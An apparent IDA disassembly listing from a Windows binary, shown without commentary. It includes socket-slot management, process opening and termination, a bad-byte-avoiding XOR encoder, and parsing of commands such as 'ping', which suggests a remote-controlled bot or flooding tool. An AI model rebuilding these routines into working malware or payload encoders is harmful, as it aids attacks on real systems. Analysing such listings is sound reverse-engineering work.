		push	edi
		push	ebx
		call	sub_402180
		mov	ebp, [esp+1Ch]
		add	esp, 8
		cmp	eax, ebp
		jbe	short loc_426723
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426723:				; CODE XREF: ___:0042671Bj
		cmp	eax, 0FFFFh
		jbe	short loc_426730
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426730:				; CODE XREF: ___:00426728j
		push	esi
		push	edi
		push	ebx
		call	sub_4013CA
		add	eax, 101h
		push	eax
		nop
		call	near ptr 77C2C407h
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_4013CA
		add	esp, 8
		push	eax
		push	esi
		call	sub_401794
		push	eax
		mov	eax, [esp+28h]
		push	esi
		push	ebp
		push	eax
		call	sub_401B8B
		push	esi
		mov	edi, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 24h
		mov	eax, edi
		pop	esi
		pop	edi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4267A0	proc near		; CODE XREF: sub_4017C6j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_4267A9
		inc	ecx


loc_4267A9:				; CODE XREF: sub_4267A0+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_4267A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4267D0	proc near		; CODE XREF: sub_401B8Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_C]
		cmp	bl, 0Ah
		jz	short loc_4267E8
		cmp	bl, 0Dh
		jz	short loc_4267E8
		cmp	bl, 5Ch
		jz	short loc_4267E8
		test	bl, bl
		jnz	short loc_4267E9


loc_4267E8:				; CODE XREF: sub_4267D0+8j
					; sub_4267D0+Dj ...
		inc	ebx


loc_4267E9:				; CODE XREF: sub_4267D0+16j
		cmp	ebx, 0FFh
		jbe	short loc_42680C
		mov	eax, ebx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_426806
		cmp	al, 0Dh
		jz	short loc_426806
		cmp	al, 5Ch
		jz	short loc_426806
		test	al, al
		jnz	short loc_42680C


loc_426806:				; CODE XREF: sub_4267D0+28j
					; sub_4267D0+2Cj ...
		add	ebx, 100h


loc_42680C:				; CODE XREF: sub_4267D0+1Fj
					; sub_4267D0+34j
		push	ebx
		call	sub_4017C6
		mov	ecx, [esp+8+arg_4]
		add	esp, 4
		cmp	eax, ecx
		mov	[esp+4+arg_C], eax
		jbe	short loc_426825
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426825:				; CODE XREF: sub_4267D0+4Fj
		cmp	eax, 0FFFFh
		jbe	short loc_426830
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426830:				; CODE XREF: sub_4267D0+5Aj
		mov	al, byte_510114
		xor	edx, edx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		test	ebx, ebx
		push	esi
		jbe	short loc_426860


loc_426841:				; CODE XREF: sub_4267D0+8Ej
		mov	cl, [edx+ebp]
		xor	cl, al
		jz	short loc_426857
		cmp	cl, 0Ah
		jz	short loc_426857
		cmp	cl, 0Dh
		jz	short loc_426857
		cmp	cl, 5Ch
		jnz	short loc_42685B


loc_426857:				; CODE XREF: sub_4267D0+76j
					; sub_4267D0+7Bj ...
		inc	al
		xor	edx, edx


loc_42685B:				; CODE XREF: sub_4267D0+85j
		inc	edx
		cmp	edx, ebx
		jb	short loc_426841


loc_426860:				; CODE XREF: sub_4267D0+6Fj
		cmp	ebx, 0FFh
		push	edi
		mov	byte_510114, al
		ja	short loc_426893
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_446C44
		mov	edi, edx
		mov	byte_446C51, bl
		mov	byte_446C55, al
		rep movsd
		movsb
		mov	esi, 15h
		jmp	short loc_4268B9
; ---------------------------------------------------------------------------


loc_426893:				; CODE XREF: sub_4267D0+9Cj
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_446C2C
		mov	edi, edx
		mov	word_446C3A, bx
		mov	byte_446C3F, al
		rep movsd
		movsw
		movsb
		mov	esi, 17h


loc_4268B9:				; CODE XREF: sub_4267D0+C1j
		xor	ecx, ecx
		pop	edi
		test	ebx, ebx
		jbe	short loc_4268CF
		add	esi, edx


loc_4268C2:				; CODE XREF: sub_4267D0+FDj
		mov	dl, [ecx+ebp]
		xor	dl, al
		mov	[esi+ecx], dl
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_4268C2


loc_4268CF:				; CODE XREF: sub_4267D0+EEj
		mov	eax, [esp+0Ch+arg_C]
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4267D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426930	proc near		; CODE XREF: sub_401E3Dj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		xor	ecx, ecx
		lea	eax, [eax+eax*2]
		mov	dword_44B19F[eax*4], ecx
		mov	dword_44B18B[eax*4], ecx
		mov	dword_44B18F[eax*4], ecx
		mov	dword_44B193[eax*4], ecx
		mov	dword_44B197[eax*4], ecx
		mov	dword_44B19B[eax*4], ecx
		mov	byte_44AF8B[eax*4], cl
		mov	byte_44B1A3[eax*4], cl
		retn
sub_426930	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4269A0	proc near		; CODE XREF: sub_401370j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	ebp
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	ecx, ebx
		jle	loc_426A57
		cmp	ecx, 400h
		jge	loc_426A57
		lea	eax, [ecx+ecx*2]
		push	esi
		shl	eax, 4
		sub	eax, ecx
		push	edi
		push	ebx
		lea	esi, [eax+eax*2]
		mov	eax, dword_44B19F[esi*4]
		push	eax
		call	near ptr 278081Eh
		nop
		cmp	dword_44B19F[esi*4], ebx
		jz	short loc_4269E8
		mov	ebp, 1


loc_4269E8:				; CODE XREF: sub_4269A0+41j
		mov	dword_44B19F[esi*4], ebx
		mov	dword_44B18B[esi*4], ebx
		mov	dword_44B18F[esi*4], ebx
		mov	eax, dword_44B193[esi*4]
		cmp	eax, ebx
		jbe	short loc_426A11
		push	eax
		call	sub_401C80
		add	esp, 4


loc_426A11:				; CODE XREF: sub_4269A0+66j
		mov	edi, dword_511C9C
		mov	dword_44B193[esi*4], ebx
		mov	byte_44AF8B[esi*4], bl
		mov	byte_44B1A3[esi*4], bl
		mov	ecx, dword_44B197[esi*4]
		push	ecx
		call	edi	; closesocket
		mov	dword_44B197[esi*4], ebx
		mov	edx, dword_44B19B[esi*4]
		lea	esi, ds:44B19Bh[esi*4]
		push	edx
		call	edi	; closesocket
		mov	[esi], ebx
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426A57:				; CODE XREF: sub_4269A0+Cj
					; sub_4269A0+18j
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_4269A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426A90	proc near		; CODE XREF: sub_401DA7j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		xor	edi, edi
		mov	esi, offset dword_44B18F


loc_426AA1:				; CODE XREF: sub_426A90+52j
		mov	eax, [esp+10h+arg_0]
		mov	ecx, [esi-4]
		cmp	ecx, eax
		jnz	short loc_426AD5
		test	ebx, ebx
		jle	short loc_426AC7
		cmp	[esi], ebx
		jz	short loc_426AB8
		cmp	edi, ebx
		jnz	short loc_426AD5


loc_426AB8:				; CODE XREF: sub_426A90+22j
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_426AD5
		jmp	short loc_426AD4
; ---------------------------------------------------------------------------


loc_426AC7:				; CODE XREF: sub_426A90+1Ej
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_426AD5


loc_426AD4:				; CODE XREF: sub_426A90+35j
		inc	ebp


loc_426AD5:				; CODE XREF: sub_426A90+1Aj
					; sub_426A90+26j ...
		add	esi, 234h
		inc	edi
		cmp	esi, offset byte_4D818F
		jl	short loc_426AA1
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_426A90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B10	proc near		; CODE XREF: sub_401C80j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		push	eax
		push	0
		push	1F0FFFh
		mov	edi, 1
		nop
		call	near ptr 2710000h
		mov	esi, eax
		test	esi, esi
		jz	short loc_426B45
		push	0
		push	esi
		nop
		call	near ptr 27A01DCh
		test	eax, eax
		jnz	short loc_426B45
		push	esi
		xor	edi, edi
		nop
		call	near ptr 2850BF4h


loc_426B45:				; CODE XREF: sub_426B10+1Dj
					; sub_426B10+2Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_426B10	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B60	proc near		; CODE XREF: sub_40148Dj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		xor	eax, eax
		mov	ecx, offset dword_44B18B


loc_426B6B:				; CODE XREF: sub_426B60+1Cj
		cmp	[ecx], edx
		jnz	short loc_426B70
		inc	eax


loc_426B70:				; CODE XREF: sub_426B60+Dj
		add	ecx, 234h
		cmp	ecx, offset byte_4D818B
		jl	short loc_426B6B
		retn
sub_426B60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B90	proc near		; CODE XREF: sub_401DA2j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		push	esi
		xor	esi, esi
		xor	eax, eax
		mov	ecx, offset dword_44B18B


loc_426B9E:				; CODE XREF: sub_426B90+1Fj
		cmp	[ecx], edx
		jz	short loc_426BB3
		add	ecx, 234h
		inc	eax
		cmp	ecx, offset byte_4D818B
		jl	short loc_426B9E
		mov	eax, esi


loc_426BB3:				; CODE XREF: sub_426B90+10j
		pop	esi
		retn
sub_426B90	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426BD0	proc near		; CODE XREF: sub_401BEAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset byte_44AF8B


loc_426BD8:				; CODE XREF: sub_426BD0+18j
		cmp	byte ptr [eax],	0
		jz	short loc_426BEE
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D7F8B
		jl	short loc_426BD8
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426BEE:				; CODE XREF: sub_426BD0+Bj
		lea	eax, [edi+edi*2]
		push	esi
		shl	eax, 4
		sub	eax, edi
		push	1FFh
		lea	eax, [eax+eax*2]
		lea	esi, ds:44AF8Bh[eax*4]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		nop
		call	near ptr 77C47A90h
		mov	ecx, [esp+14h+arg_4]
		mov	edx, [esp+14h+arg_8]
		mov	[esi+200h], ecx
		mov	dword ptr [esi+204h], 0
		add	esp, 0Ch
		mov	dword ptr [esi+208h], 0
		mov	[esi+20Ch], edx
		mov	byte ptr [esi+218h], 0
		mov	eax, edi
		pop	esi
		pop	edi
		retn
sub_426BD0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426C70	proc near		; CODE XREF: sub_401613j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426C70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	7
		push	0Eh
		push	9
		push	10h
		push	4Fh
		push	13h
		push	0Fh
		mov	esi, ecx
		push	4
		lea	eax, [esp+68h+var_3C]
		push	4
		push	eax
		mov	dword ptr [esi+118h], 0
		mov	byte ptr [esi+11Ch], 0
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_426C70	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	4
		push	15h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+28h]
		push	4
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	ecx, [esp+28h]
		push	4
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	eax, [esp+2Ch]
		push	4
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+0EAh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+48h]
		push	4
		push	edx
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 8Eh
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426EC0:				; CODE XREF: ___:loc_401B81j
		push	0FFFFFFFFh
		push	offset loc_43C9C4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+50h]
		mov	ebx, ecx
		push	edi
		lea	ebp, [esi+7Eh]
		lea	ecx, [ebx+60h]
		mov	[esp+54h], ebp
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		mov	edi, dword_511B14
		test	eax, eax
		jnz	loc_427058
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		xor	ebp, ebp
		cmp	eax, ebp
		mov	[esp+4Ch], ebp
		jz	short loc_426F2B
		mov	ecx, eax
		call	sub_401DF2
		mov	ebp, eax


loc_426F2B:				; CODE XREF: ___:00426F20j
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 1
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 2
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 3
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 4
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [ebp+26h]
		call	sub_401FDC
		mov	dl, [esi+93h]
		mov	ecx, ebp
		mov	[ebp+8Fh], dl
		mov	al, [esi+94h]
		mov	[ebp+90h], al
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_427058:				; CODE XREF: ___:00426F01j
		lea	ecx, [ebx+8Eh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4271CA
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 5
		jz	short loc_42709B
		mov	ecx, eax
		call	sub_401BDB
		mov	ebp, eax
		jmp	short loc_42709D
; ---------------------------------------------------------------------------


loc_42709B:				; CODE XREF: ___:0042708Ej
		xor	ebp, ebp


loc_42709D:				; CODE XREF: ___:00427099j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	1
		push	ecx
		mov	byte ptr [ebx+11Ch], 1
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 6
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 7
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 8
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	4
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 9
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_4271CA:				; CODE XREF: ___:0042706Dj
		lea	ecx, [ebx+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_427339
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Ah
		jz	short loc_42720A
		mov	ecx, eax
		call	sub_40130C
		mov	ebp, eax
		jmp	short loc_42720C
; ---------------------------------------------------------------------------


loc_42720A:				; CODE XREF: ___:004271FDj
		xor	ebp, ebp


loc_42720C:				; CODE XREF: ___:00427208j
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 0Bh
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Ch
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Dh
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	4
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Eh
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [ebp+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[ebp+8Fh], cl
		mov	dl, [esi+94h]
		mov	ecx, ebp
		mov	[ebp+90h], dl
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_427339:				; CODE XREF: ___:004271DCj
		lea	ecx, [ebx+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4274E4
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Fh
		jz	short loc_427379
		mov	ecx, eax
		call	sub_40178F
		mov	ebp, eax
		jmp	short loc_42737B
; ---------------------------------------------------------------------------


loc_427379:				; CODE XREF: ___:0042736Cj
		xor	ebp, ebp


loc_42737B:				; CODE XREF: ___:00427377j
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 10h
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 11h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 12h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 13h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+30h]
		push	5
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 14h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+2Ch]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_4274E4:				; CODE XREF: ___:0042734Bj
		lea	ecx, [ebx+0EAh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_427501
		mov	[ebx+11Ch], al


loc_427501:				; CODE XREF: ___:004274F9j
		mov	ecx, [esp+44h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	4
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 1A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4276C0	proc near		; CODE XREF: sub_401A78j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_449A04
		push	esi
		mov	esi, ecx
		mov	eax, [esi+91h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_4276E1
		inc	ecx
		mov	[eax+118h], ecx


loc_4276E1:				; CODE XREF: sub_4276C0+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+91h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E8E9B
		call	sub_40120D
sub_4276C0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427740	proc near		; CODE XREF: sub_40130Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427740
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aPing	; "ping"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F0DC
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427740	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4277B0	proc near		; CODE XREF: sub_401F9Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4277B0
		mov	eax, large fs:0
		push	eax
